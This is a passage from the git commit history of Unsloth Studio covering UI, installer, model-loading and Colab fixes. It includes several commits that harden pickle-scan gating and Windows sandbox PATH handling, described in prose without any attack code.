canvas, which unmounts on the Easy/Runs tabs. Clear maximized (and restore
the sidebar) when activeView leaves "editor" so those views aren't left
stuck under the fixed full-view overlay.

* recipe studio: keep full view below titlebar and off the sidebar state
2026-07-24 18:37:00 -07:00
oobabooga
91a89806d7
Studio: prevent empty responses after model thinking (#7418)
* Fix reasoning-only Qwen3.6 completions in Studio

* Address reasoning-only review findings

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-24 17:01:12 -07:00
Michael Han
0e3e4f3180
Studio: scale menu, toast, chat and composer icons with the UI font size (#7400)
* Studio: scale menu, toast, chat and composer icons with the UI font size

Glyphs that sit beside scaled labels now follow the preference: the
shared --icon-size token (nav, settings tabs, chat action bars, code
block actions), classed svgs inside dropdown, select, context, menubar,
popover and command surfaces, toasts, the chat thread and both
composers, and the composer pill glyph slot. Sonner toast text is
unpinned from its injected 13px. Hit targets, paddings and surface
geometry stay fixed and every value is identity at the default size.

* Studio: icons scale at half the UI font size rate; cover review gaps

Icons now follow the preference at half the rate of the text, matching
the logo lockup: base + (setting - 16) / 2. The menu specific rules
that outranked the scoped block (app-user-menu, unsloth-plus-menu,
unsloth-tick) carry the scale too, which also restores the plus menu's
intended 1.15rem glyph base at the default size. From review: closed
select triggers join the scoped surfaces so their chevron tracks the
label, sonner action button labels scale at full text rate alongside
the title and description, and the unused built-in sonner loader gets a
defensive size override.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: icons match the text scale below the default, half rate above

Piecewise icon scaling: below the 16px default icons follow the UI font
size at the full text rate, above it they move at half the rate so
glyphs stay slightly smaller than the text. Written as min(full, half)
since the smaller branch is correct on each side. Applies to the shared
--icon-size token, the scoped menu, toast, chat and composer overrides,
and the menu rules that outrank them.

* Studio: cap icons at their default size above the 16px setting

Below the default icons still match the text scale; above it they now
keep their default size instead of growing at half rate, so enlarged
text dominates and glyphs read slightly smaller than the text. The
curve is min(full rate, base).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: icons above the default scale at half rate, not capped

A 16px glyph at setting 20 renders 18px, as if the setting were 18:
above the default icons move at half the rate of the text, below it
they match the text scale. The curve is min(full rate, half rate).

* Studio: standard icons render at the UI font size itself

One shared --ui-icon-size token replaces the per-base curves for every
glyph with a 16px or larger base: icons match the UI font size below
the default and grow at half the change above it, so setting 12 gives
12px icons, 16 gives 16px and 20 gives 18px, slightly smaller than the
enlarged text. Sub 16px glyphs keep their proportions through the same
curve as a factor. This also slims the previous 18px to 21px icon bases
down to the font size at the default setting.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: icon scale review fixes for ticks, comboboxes and art glyphs

From review: thinking ticks keep their own size inside plus menus (the
important menu rule now excludes them), combobox popups and triggers
join the scoped surfaces, 24px size-6 art glyphs such as attachment
tile icons go back to proportional scaling instead of the uniform
token, branch picker 36px chevrons scale proportionally beside their
counter, and buttons that default un-classed icons to size-4 get the
shared token (xs buttons keep their pinned small icons). Sonner cancel
labels already scale: sonner renders cancel with data-button set, so
the existing override reaches it.

* Studio: keep the toast close glyph compact

The button icon fallback matched Sonner's close button, whose unclassed
12px X then rendered at the shared icon size inside its fixed control.
Exclude data-close-button from the fallback.

* Studio: use text-ui-11 for the new chat settings sheet caption

The raw px guard caught a text-[11px] added on main; raw px text
ignores the UI font size preference.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-24 14:50:59 -07:00
Long Yixing
1bd080208c
Fix Studio model picker toolbar overflow (#7403)
* fix(studio): contain model picker toolbar

* fix(studio): preserve model picker tab icons
2026-07-24 14:20:57 +01:00
Michael Han
275c046c09
studio: use Hugeicons AI Security glyph for Run automatically (#7409)
Swap the lucide CircleOff icon on the Run automatically permission mode
for the Hugeicons AI Security 03 glyph, matching the app's existing
Hugeicons usage. A small lucide-compatible wrapper lets it drop into the
option list. Icon-only change, no behavior change.

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
2026-07-24 04:48:29 -07:00
Lionel Arce
a1907fd4fe
feat(studio): add DoRA support to studio (#7315)
* feat(studio): add DoRA support to studio

* fix: added use_dora fast encoder LoraConfig and gated use_dora on AdapterMethod

* fix(studio) serverside normalization for use_dora=true - add note documenting use_dora is silently dropped on diffusion

* fix: dora button disabled on mac, add preflight guard on GGUF lora export, mismatch now correctly falls through to existing error instead of silently no-opping

* Studio: add dora to the WizardState LoRA variant union for consistency

* Reject --use_dora on the MLX (Apple Silicon) CLI path

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-24 03:24:16 -07:00
Souravrajvi0
434fac6ffc
feat(studio): presets include load settings (#7347) (#7352)
* feat(studio): save load settings in chat presets

Presets previously stored only sampling params (temperature, top_p, etc.).
Extend them with an optional loadConfig blob that captures context length,
KV cache dtype, speculative decoding, and GPU layer knobs from the current
runtime when saving.

- Apply loadConfig when switching presets or hydrating on startup
- Show a short summary under the preset controls
- Prompt to reload when a model is already loaded

Fixes #7347

* fix(studio): persist preset loadConfig and capture GGUF context

Add ChatPresetLoadConfig to the chat settings API schema so presets with
load settings no longer 400 on save. Capture effective GGUF context from
ggufContextLength when customContextLength is cleared after auto-mode load.

* fix(studio): address Codex review on preset load settings

Coalesce default maxSeqLength/speculative/gpu knobs when capturing presets,
no-op apply for legacy presets without loadConfig, preserve GPU pin on apply,
and stop replaying stale loadConfig during settings hydration.

* Remove unused getOrderedPresets import

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-24 02:23:43 -07:00
Souravrajvi0
d17567af3e
fix(studio/colab): restore blank Colab iframe embed (#7344) (#7349)
* fix(studio/colab): restore iframe embed via serve_kernel_port_as_iframe

Colab's output sanitizer often strips custom <iframe> tags from
IPython.display.HTML without raising, leaving a blank cell even though
display() succeeded. The kernel-port helper is the supported embedding
path and registers the proxy correctly.

- Prefer serve_kernel_port_as_iframe; keep raw HTML iframe as fallback
- Always show the clickable link card via show_link() so the proxy URL
  is visible even when iframe embedding fails
- Add regression tests for embed ordering and URL truncation

Fixes #7344

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio/colab): harden iframe embed fallbacks per Codex review

Guard show_link so a display failure cannot skip embedding, and only use
serve_kernel_port_as_iframe when get_colab_url returned a real Colab proxy
URL so localhost/colabtools environments still get the HTML iframe path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio/colab): stop opening Colab proxy URLs in a new tab (#7349)

Colab *.prod.colab.dev proxy hosts are session-scoped and return HTTP 404
when opened as a top-level tab or from another device. Replace the
clickable Open button for those URLs with an in-notebook ready card, keep
serve_kernel_port_as_iframe for the UI, and point users at
start(cloudflare=True) for a real shareable / new-window link.

* fix(studio/colab): use kernel iframe on real Colab when eval_js fails (#7349)

Gate serve_kernel_port_as_iframe on COLAB_RELEASE_TAG + google.colab import
instead of a successful proxyPort URL. When eval_js fails and get_colab_url
falls back to localhost, real Colab notebooks still embed via the kernel helper
(port-only). colabtools without COLAB_RELEASE_TAG keeps the HTML iframe path.

Thanks @mfielding92 for the runtime diagnosis.

* Mock top-level google package in Colab embed tests

* test(studio/colab): mock top-level google package in Colab tests

Patching only sys.modules["google.colab"] fails when no google namespace
is installed: import google.colab resolves the parent first and returns
False in _is_colab_runtime(). Add a shared helper that mocks both google
and google.colab for deterministic tests across environments.

* Tighten comments in Colab embed helpers and tests

* fix(studio/colab): default Cloudflare on Colab with durable login credentials

Colab proxy iframes often load an empty document even when the kernel helper
appends the frame, leaving users unable to reach Studio to change the bootstrap
password and blocking start(cloudflare=True).

On real Colab runtime:
- Default cloudflare to True (pass cloudflare=False to opt out)
- Finalize the random admin password and print credentials in the notebook
- Persist credentials across cell re-runs after interrupt
- Show Cloudflare link before login credentials; skip blank proxy iframe when ready
- Reuse main._IS_COLAB for runtime detection (not COLAB_RELEASE_TAG alone)
- Only trust serve_kernel_port_as_iframe on real Colab; colabtools falls back to HTML
- Keep embedding when the link card display fails

Addresses Codex review feedback on #7349 and @mfielding92's catch-22 report.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio/colab): skip credential finalize when cloudflare=False

Only call _finalize_colab_admin_password() when opening a Cloudflare
tunnel. start(cloudflare=False) should not clear the bootstrap-password
gate or show a login card that references a missing tunnel link.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio/colab): drop stale cached Colab credentials after password change

On a Colab rerun the finalize path redisplayed the cached first-run
password whenever the bootstrap gate was already cleared. If the admin
changed the password through the app, that cached copy no longer
authenticates, so the notebook printed dead credentials. Validate the
cached password against the current stored hash before redisplaying and
drop the cache when it no longer matches.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-24 02:23:24 -07:00
Souravrajvi0
330586de7c
feat(studio): expose full KV cache dtype list in model config UI (#7348)
Fixes #7244

The Studio per-model config dropdown only surfaced bf16, q8_0, q5_1,
and q4_1 even though llama.cpp already accepts q4_0, q5_0, iq4_nl, and
f32. Add the missing options to KV_CACHE_DTYPES and align API field
descriptions with the backend _valid_cache_types set.

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-24 02:22:03 -07:00
Souravrajvi0
0e800d213a
fix(studio): stop false MTP/vision capability reports (#7332)
* fix(studio): stop false MTP/vision capability reports (#7302)

MTP probing only inspected the first physical --spec-type help line and
treated empty/crash --help output as "lacks MTP", which false-warned on
otherwise capable builds. Parse the full --spec-type help block, fail open
when the probe is inconclusive, and stop blaming bare mmproj crashes on a
projector-format mismatch when the text-only retry also fails.

Fixes #7302

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): tighten MTP probe semantics per Codex review (#7302)

Treat nonempty --help without --spec-type as definitive no-MTP, keep only
empty/crash probes inconclusive, skip binary_no_mtp UI hint on inconclusive
loads, and stop reporting supports_mtp=True in /status for unknown probes.

* Treat failed llama-server --help probes as inconclusive (#7302)

Gate definitive no-MTP results on a zero exit code so crash diagnostics with
nonempty stderr do not re-enable the false lacks-MTP warning path.

* Add returncode to probe test mock so probe_ok gating passes

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fail open in /status when the MTP probe is inconclusive

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Report missing llama-server as lacking MTP in /status

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in MTP/mmproj probe changes

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-24 02:13:52 -07:00
Daniel Han
418ae14388
Fix ROCm wheel-index unit test: extract the gfx-arch probe helpers get_torch_index_url now calls (#7399)
* Fix ROCm wheel-index test: extract the gfx-arch probe helpers get_torch_index_url now calls

get_torch_index_url gained a gfx-arch probe on the ROCm path (Strix reroute
work) and now calls _ensure_rocm_probe_env, _probe_amd_gfx_arch,
_infer_linux_amd_gfx_arch and friends. The unit test in
tests/sh/test_get_torch_index_url.sh sources a curated subset of install.sh
functions, and that list was never updated, so those helpers were undefined
in the harness. On the ROCm path the gfx probe hit an undefined function,
the branch silently fell through to the CPU wheel index, and every ROCm
assertion failed (9 failures: all ROCm versions resolved to /whl/cpu).

Extract the six missing helpers so the ROCm branch runs end to end. All 49
assertions pass. Adds a comment noting these must stay in sync with
install.sh.

* Keep the ROCm wheel-index test hermetic: redirect the /opt/rocm prefix

Extracting _ensure_rocm_probe_env pulled its absolute-path host probe into the
harness: it appends /opt/rocm/bin to PATH and runs the real host rocminfo, and
version detection reads /opt/rocm/.info/version. On a host with ROCm installed
that leaks the host GPU into the minimal-PATH test, so the no-GPU and
CUDA-visible-device assertions could select a host ROCm wheel index instead of
their expected CPU result, making the test host-dependent.

Redirect the whole /opt/rocm prefix to an empty temp dir in the same sed pass
that stubs /usr/bin/nvidia-smi, so the probes stay hermetic. All 49 assertions
pass and the generated harness contains no real /opt/rocm path.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-24 02:12:16 -07:00
Daniel Han
6e91d1dff8
Studio: scan HF cache snapshot loads by their repo id (#7398)
* Studio: scan HF cache snapshot loads by their repo id

Inactive Hugging Face caches (legacy, default, and previously selected
download locations) are loaded by their resolved snapshot path so they
keep using the selected cache instead of re-downloading. That path is a
local filesystem path, so evaluate_file_security exempted it with
"local path; no Hub scan" and skipped Hugging Face's pickle/malware
scan. Active caches load by repo id and are still scanned, so the same
model could dodge the gate simply by being in an inactive cache.

An HF cache snapshot keeps the canonical models--org--repo/snapshots/<rev>
layout, so recover the repo id from that path and scan it instead of
exempting it. Non-cache local paths (models directory, custom folders)
still skip the scan, and a remote ref is still scanned by repo id.

Adds a regression test that a flagged pickle in an inactive-cache
snapshot path blocks the load.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: scan the exact cached commit for inactive HF caches

An HF cache snapshot path encodes the commit, not just the repo id
(models--org--repo/snapshots/<rev>). Recover the revision alongside the
repo id and pass it to model_info and the shard-index lookup so the scan
covers the exact files that will be deserialized, rather than the repo's
default branch. Without this, a pickle in an older cached commit that was
later removed from the branch would scan clean and still load.

Extends the regression test to assert the recovered revision is forwarded
to the Hub scan.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-24 02:12:00 -07:00
Michael Han
140b3fbe05
Studio: register text-ui tokens with tailwind-merge so cn() keeps them (#7396)
* Studio: register text-ui tokens with tailwind-merge so cn keeps them

Stock tailwind-merge classifies text-ui-* as a text color, so cn() dropped
the size class whenever a color utility followed it in the same call. The
element then fell back to the unscaled 16px root font, which made hub tabs
and capability pills look oversized at small UI font sizes. Extend the
merge config so text-ui-* and leading-ui-* resolve as font-size and
line-height groups, and cover the failure in the contract and Playwright
regression tests.

* Studio: rename the Models page to Model hub

Page heading, sidebar navigation label in all locales, and the chat
download toasts that point at the tab.
2026-07-24 00:48:54 -07:00
Lei Zhenyuan
47fa4ca6c1
Add Intel XPU support to Unsloth Studio (#4724)
---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Roland Tannous <115670425+rolandtannous@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-24 02:22:07 -03:00
Daniel Han
63d8da34d3
Studio: use text-ui-* tokens instead of raw px in the voice tab
Replaces the raw text-[9px] and text-[10px] classes with the text-ui-9 and text-ui-10 scale tokens so the voice tab labels honor the --ui-font-scale typography setting like the rest of the UI.
2026-07-23 21:55:13 -07:00
Daniel Han
707b74fac3
Studio UI test: recover from voice-picker renderer crash, scoped to macOS runners
Downgrades a headless-Chromium renderer crash in the voice model-picker step to a warning plus page recovery on macos-14, where CheckMediaAccessPermission can kill the tab. Linux and Windows strict smoke jobs keep hard crash coverage and any live-page failure stays a hard fail.
2026-07-23 21:54:41 -07:00
Daniel Han
a7761e1740
Studio: refine GGUF per-GPU selection (gpu_ids) (#7239)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-24 01:02:29 -03:00
Daniel Han
629cc50f1a
Unsloth run/start: per-model recommended sampling and override flags (#7335)
Seed each request with the model's recommended sampling (matching the Chat UI), add per-field override flags, ignore oversized overrides, warn when sampling pins cannot apply to a reused server, and apply pins to the completions endpoint.
2026-07-23 20:49:54 -07:00
oobabooga
3875479803
Complete local subagent delegation for Codex, Claude plan mode, and Pi (#7329)
Add session-scoped MCP bridges so Codex, Claude plan mode, and Pi subagents run on the loaded local model, with cloud credentials and Codex state isolated per session and a process-wide Pi agent cap.
2026-07-23 20:48:30 -07:00
Daniel Han
a0f58c1128
Unsloth start: keep Claude subagents on the local model (#7333)
Add CLAUDE_CODE_SUBAGENT_MODEL=inherit to the session-only claude settings overlay so built-in subagents stay on the loaded local model.
2026-07-23 20:47:29 -07:00
Daniel Han
6f60bf4f82
Studio whisper: pair slim bundles on the ggml commit, not the full llama tag (#7381)
The slim whisper bundle is ggml-less and links the ggml runtime out of the
installed llama.cpp prebuilt, so each whisper release pins a paired llama tag.
The gate required an exact tag match, but llama fork tags are
b<upstream_build>-mix-<ggml_commit> and the build number tracks upstream llama
and fork PRs that live outside ggml. When llama republishes a newer build with
the same ggml commit (a frequent event), the installed llama advances past the
whisper pin and curated dictation goes unavailable until whisper is republished,
even though the ggml runtime is ABI-identical.

Key the pairing gate on the ggml commit after -mix- instead of the full tag, in
all three comparison sites (slim_pairing_for_artifact,
_slim_release_incompatibility, resolve_selection). requires_ggml_sonames stays
the real per-file ABI gate, and a genuine ggml skew still fails closed. Tags
without a -mix- marker fall back to exact matching.
2026-07-23 20:18:36 -07:00
Daniel Han
c2114d64dd
Studio: fail closed on index-referenced nested pickle shards in the offline embedding gate (#7366)
* Studio: fail closed on index-referenced nested pickle shards in the offline embedding gate

The offline embedding security gate (HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE)
only scanned the direct files of each SentenceTransformer load root and never
parsed local weight indexes, so a cached snapshot whose pytorch_model.bin.index.json
maps a weight to a nested shard (e.g. shards/pytorch_model-00001-of-00001.bin) was
treated as inert and allowed. The loader then follows the index into the subdir and
unpickles the shard. The online gate already blocks index-referenced subdir pickles,
so the offline path was strictly weaker.

Parse each local weight index in a load root and follow weight_map into nested dirs,
flagging any referenced pickle-extension shard. Paths resolve lexically (normpath),
never Path.resolve(), since HF cache snapshot files symlink into blobs/ and resolving
would leave the snapshot dir and false-block every sharded model offline. An absolute
path, a .. traversal that escapes the snapshot, or an unreadable/invalid index fails
closed. The existing safetensors-sibling suppression is kept.

* Studio: classify offline indexed shards by torch.load path, not pickle extension

load_state_dict picks safetensors vs torch.load per shard by the shard's own
suffix, so two offline-gate gaps remained:

- A model.safetensors.index.json whose weight_map points at a .bin shard was
  suppressed by has_base_safetensors (the index file itself matches the base
  safetensors regex), yet Transformers still torch.loads that shard. Only the
  pytorch index is superseded by a base safetensors now; a safetensors index is
  the chosen archive, so its non-safetensors targets are always flagged.

- A pytorch index can map weights to arbitrary names (shards/payload,
  weights.data); the loader torch.loads any target not ending in .safetensors.
  Flag indexed shards by that rule instead of a pickle-extension allowlist.

Restrict the scan to the two torch-family indexes (tf/flax load via non-pickle
loaders). Add regression tests for both cases.

* Studio: match offline weight-index filenames case-insensitively

The index-name check compared the on-disk filename exactly, while the
surrounding weight and safetensors matches use case-insensitive rules. On a
case-insensitive volume (Windows or macOS) from_pretrained opens an oddly-cased
cache file such as PYTORCH_MODEL.BIN.INDEX.JSON when it requests the canonical
lowercase name, so the exact-case check skipped it and a nested pickle shard it
referenced was allowed through. Lower-case the index name before matching, as
the rest of the gate does, and add a regression test.

* Studio: match load_state_dict format/selection exactly in the offline index scan

Two edge cases in the offline weight-index scan:

- load_state_dict decides safetensors vs torch.load with a case-sensitive
  endswith(".safetensors"), so a shard named payload.SAFETENSORS still
  deserializes via torch.load. Classify indexed shard suffixes case-sensitively
  to match, instead of lower-casing (which treated such a shard as inert).

- A complete direct model.safetensors is selected before either sharded index,
  so a stale model.safetensors.index.json referencing a .bin shard never loads.
  Skip both indexes when a direct model.safetensors is present, so an otherwise
  loadable model is not over-blocked.

Add regression tests for both.

* Studio: read the offline weight index as UTF-8

Path.read_text() uses the locale default, which is cp1252 on Windows, so a
UTF-8 weight index with non-ASCII bytes raised UnicodeDecodeError and the gate
blocked an otherwise loadable model. JSON is UTF-8 by spec (and how the loader
reads it), so pin the encoding.

* Studio: resolve safetensors alternatives via the loader's own filename lookup

The offline gate decided a safetensors alternative existed by case-folding the
directory listing. On a case-sensitive filesystem that let an uppercase decoy
such as MODEL.SAFETENSORS suppress the pickle scan, yet from_pretrained asks for
the canonical lowercase model.safetensors, does not find the decoy, and selects
the pickle (a direct pytorch_model.bin or the pytorch index) and deserializes it.

Probe each alternative with (root / name).is_file() instead, mirroring the
loader: is_file() honors the platform's case rules, so a decoy suppresses only
where the loader would truly open it. Suppression must never fail open; detection
stays case-insensitive (fail closed). Add regression tests for the direct and
indexed pickle decoys (skipped on case-insensitive volumes, where no bypass
exists).

* Studio: resolve indexes and shards exactly as from_pretrained does

Two more loader-fidelity gaps in the offline index scan:

- Shard lookup normalized backslashes to forward slashes. On POSIX a backslash
  is a literal filename character, so an index naming dir\payload.bin matches a
  real pickle of that exact name that Transformers joins and deserializes, while
  the normalized dir/payload.bin missed it. Join the raw weight_map value with
  os.path.join so the probe mirrors the loader on each platform.

- Index detection case-folded the directory listing, so on a case-sensitive
  filesystem an uppercase PYTORCH_MODEL.BIN.INDEX.JSON artifact the loader never
  opens was treated as live and its shard blocked. Probe the canonical name with
  the loader's own is_file lookup instead, so an index counts only where
  from_pretrained would actually load it.

Update the uppercase-index tests to assert the correct per-filesystem behavior
and add a POSIX backslash-shard regression test.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-23 20:06:30 -07:00
Souravrajvi0
0807d03ed0
fix(install): show detected distro in sudo apt Accept prompt (#7324)
* fix(install): show detected distro in sudo apt Accept prompt

Make the package-install elevation prompt name the detected distro and
state that packages come from official apt repos, so users know we are
not installing a tarball outside their package manager (#6207).

* fix(install): avoid case/;; inside $() for bash 3.2

macOS CI uses bash 3.2, which misparses case arms inside command
substitution and fails install.sh at the apt distro helper. Use a
plain subshell so the Accept? prompt still works everywhere.
2026-07-23 19:16:00 -07:00
Souravrajvi0
f5a0c2226b
fix(studio): resolve bare git on Windows sandbox PATH (#7323)
* fix(studio): resolve bare git on Windows sandbox PATH

Sandboxed terminal tools rebuilt PATH as venv + System32 only, so
user-installed Git under Program Files never resolved by bare name.
Append absolute host PATH dirs after the curated prefix and inherit
PATHEXT on Windows (#7317).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): restrict sandbox PATH inheritance to Windows Git dirs (#7323)

Only append Git-for-Windows install directories from the host PATH on
Windows, instead of every absolute entry. This fixes bare `git` resolution
(#7317) without letting user-writable dirs (venv, node_modules/.bin)
shadow auto-safe terminal commands.

* Pin sandbox PATHEXT to block cwd script hijacks (#7317)

Use a fixed .EXE;.COM list instead of inheriting the host PATHEXT so
cmd cannot resolve auto-approved bare names from workdir .BAT/.CMD stubs.

* Resolve sandbox git dir via shutil.which and disable cwd exe lookup

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep non-exe git launchers resolvable under restricted PATHEXT

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restrict inherited sandbox git dir to system install roots

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop SystemRoot trust and canonicalize short paths for sandbox git

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Resolve Program Files via known-folder API and append canonical git dir

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trust native Program Files on 32-bit Windows and stub program roots in tests

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scan PATH for a trusted git and derive native Program Files root

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop ProgramFiles env from the trusted-root fallback

* Fail closed when trusted Program Files root cannot be resolved

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-23 19:15:01 -07:00
Souravrajvi0
09b6bf6c39
fix(studio): opt-in source-build GPU smoke validation (#7322)
* fix(studio): opt-in source-build GPU smoke validation (#5854)

Gap 1 (empty CUDA arch -> CPU) already landed in #6481. Wire gap 2: after a
GPU source build, optionally run the same staged llama-server smoke test as
the prebuilt path, then CPU-fallback on failure. Gated by
UNSLOTH_LLAMA_STAGED_VALIDATION (default off) to avoid Blackwell JIT stalls.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(install): normalize staged validation env in setup.sh (#7322)

Strip and lowercase UNSLOTH_LLAMA_STAGED_VALIDATION before the shell
gate so values like True and surrounding whitespace match the Python
staged_validation_enabled() helper.

* Rebuild visual server after staged-validation CPU fallback (#5854)

Mirror the primary source-build path by best-effort building
llama-diffusion-gemma-visual-server after smoke-failure CPU fallback.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-23 19:13:54 -07:00
Souravrajvi0
8c975fcbaf
fix: pin torchcodec for torch 2.10 and warn on ABI mismatch (#7299)
* fix: pin torchcodec for torch 2.10 and warn on ABI mismatch

Add unsloth[audio] extra with torchcodec>=0.10.0,<0.11.0 and emit a
clear warning when installed torchcodec minors disagree with torch
(unslothai/unsloth#7225).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(packaging): address Codex review on torchcodec/torch 2.10 compat (#7299)

- Postpone annotations so import_fixes loads on Python 3.9
- Align TORCH_TORCHCODEC matrix with upstream (2.9: 0.8/0.9, 2.8: 0.6/0.7)
- Fix mismatch hint upper bound (<0.11.0) and gate audio-torch210 suggestion
- Split audio extra per torch minor; gate torch210 pin behind python>=3.10
- Bundle audio-torch210 only in *-torch2100 install extras

* fix(security): refresh openai CRITICAL scan baseline hashes (#7299)

openai package code drift reopened five CRITICAL findings in the
extras pip-scan-packages shard (C2 loop body hashes + IMDS/network
evidence). Update the reviewed allowlist evidence/hashes so CI gates
on new findings only, not benign SDK churn.

* chore: retrigger CI after baseline refresh (#7299)

* chore: touch scan baseline comment to retrigger security audit (#7299)

* Guard torchcodec version parsing so bad version strings cannot break import

* Bundle audio pin into intel-gpu-torch210 and guard the mismatch warning

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-23 19:12:52 -07:00
Souravrajvi0
b448fb5de0
fix(studio): persist connection model selections for remote clients (#7298)
* fix(studio): persist connection model selections server-side

Remote Studio clients could see saved connections but not their enabled
model lists because models lived only in browser localStorage.

Store models and available_models in llm_providers and sync them through
the providers API so alternate clients inherit the same catalog state.

Fixes #7281

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Hydrate external connections on chat startup (#7281)

Extract provider sync logic into sync-external-providers.ts and call it
from chat-page on mount so persisted model selections appear in the
Connected picker without opening Settings → Connections first.

* fix(studio): backfill connection models and preserve local options (#7298)

Address Codex P2 on remote connection persistence:
- Backfill localStorage model selections to /api/providers when backend
  rows still have empty models_json (legacy upgrades)
- Carry promptCacheTtl and openaiContainerTtlMinutes through startup sync
- Await hydratePersistedSettings before syncing on ChatPage mount

Contract tests: 7 passed; npm run typecheck passed.

* Tighten comments

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-23 19:11:50 -07:00
Souravrajvi0
e2ccf4d376
fix(studio): show chat sidebar menu on touch devices (#7297)
* fix(studio): show chat sidebar menu on touch devices

Recents/Pinned chat row actions were hidden until hover, so iPad users
could not open the kebab menu to delete chats. Reveal actions on coarse
pointers using the same pattern as hub model rows.

Fixes #7276

* Fix coarse-pointer sidebar row action visibility (#7276)

Move the touch-device override into index.css after .sidebar-row-action so
it wins the cascade. Arbitrary Tailwind media utilities on the element had
equal specificity and were overridden by the base rule.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope coarse-pointer sidebar actions to chat rows (#7276)

Only chat kebabs/unpin buttons that reserve touch padding get
sidebar-touch-reveal, so project/run/nav rows stay hover-revealed.

* Tighten comments

* Reserve full kebab hit area on coarse-pointer unpinned rows

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-23 19:11:05 -07:00
Nilay
447f16f49a
Studio: fix composer reset after failed send (#7377)
* fix composer reset

* Studio: clear composer draft on send

* Studio: cancel the pending draft save when clearing on send
2026-07-23 16:29:13 -07:00
Lee Jackson
a26692612d
Normalize PWD for POSIX agent launches (#7110)
Keep the child process environment consistent with the cwd used to launch native POSIX coding agents. Some Node-based agents use PWD during project-root discovery, so inheriting a stale PWD can make them edit files in a parent or unrelated directory even when the wrapper process cwd is correct.

Only apply this normalization for native POSIX launches. WSL-launched Windows shims stay on the existing WSLENV bridge path so path translation behavior is unchanged.

Add regression coverage that launches an agent with a deliberately stale inherited PWD and asserts the child environment is normalized to os.getcwd().

Co-authored-by: Leo Borcherding <borchborchmail@gmail.com>
2026-07-23 17:54:09 -05:00
Daniel Han
6e868860bd
Bump install.sh / install.ps1 pin to unsloth>=2026.7.5 (#7365) 2026-07-23 03:17:25 -07:00
Daniel Han
734cec9e7a
Studio STT: only load safetensors weights for custom dictation models (RCE fix) (#7364)
* Studio STT: only load safetensors weights for custom dictation models

